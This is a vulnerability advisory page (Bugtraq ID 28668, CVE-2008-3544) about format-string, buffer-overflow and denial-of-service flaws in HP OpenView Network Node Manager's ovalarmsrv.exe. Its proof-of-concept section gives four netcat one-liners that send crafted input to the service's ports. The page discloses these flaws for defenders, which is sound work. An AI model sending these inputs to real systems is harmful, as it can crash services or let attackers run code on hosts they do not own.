HP OpenView Network Node Manager 'ovalarmsrv.exe' Multiple Remote Vulnerabilities

BID:28668

Info

HP OpenView Network Node Manager 'ovalarmsrv.exe' Multiple Remote Vulnerabilities

Bugtraq ID: 28668
Class: Unknown
CVE: CVE-2008-3544
Remote: Yes
Local: No
Published: Apr 07 2008 12:00AM
Updated: Oct 09 2008 06:18PM
Credit: Luigi Auriemma
Vulnerable: HP OpenView Network Node Manager 7.53
HP OpenView Network Node Manager 7.51
HP OpenView Network Node Manager 7.50
HP OpenView Network Node Manager 7.01
Not Vulnerable:

Discussion

HP OpenView Network Node Manager 'ovalarmsrv.exe' Multiple Remote Vulnerabilities

HP OpenView Network Node Manager is prone to multiple vulnerabilities affecting the 'ovalarmsrv.exe' process. These issues include a format-string vulnerability, multiple buffer-overflow vulnerabilities, and a denial-of-service vulnerability.

Attackers can exploit these issues to execute arbitrary code with the privileges of the affected application or to consume excessive system resources. Successful exploits will compromise affected computers or cause denial-of-service conditions.

HP OpenView Network Node Manager 7.50 is vulnerable; the denial-of-service issue also affects version 7.53; other versions may also be affected.

Exploit / POC

HP OpenView Network Node Manager 'ovalarmsrv.exe' Multiple Remote Vulnerabilities

The following proofs of concept are available:

echo %n%n%s%n%n%s | nc SERVER 2953 -v -v
echo 62 AAAAAAAAAAAAA...512_'A's...AAAAAAAAAAAAA | nc SERVER 2954 -v -v
echo 47 1 2 what_you_want | nc SERVER 2954 -v -v -w 1
echo 25 0 0 10 boom | nc SERVER 2954 -v -v -w 2

Core Security Technologies has developed a working commercial exploit for its CORE IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.

The following exploit code is available:

Solution / Fix

HP OpenView Network Node Manager 'ovalarmsrv.exe' Multiple Remote Vulnerabilities

Solution:
The vendor has released an advisory and patches to address these issues. Contact the vendor for details on obtaining the appropriate updates.

References

HP OpenView Network Node Manager 'ovalarmsrv.exe' Multiple Remote Vulnerabilities

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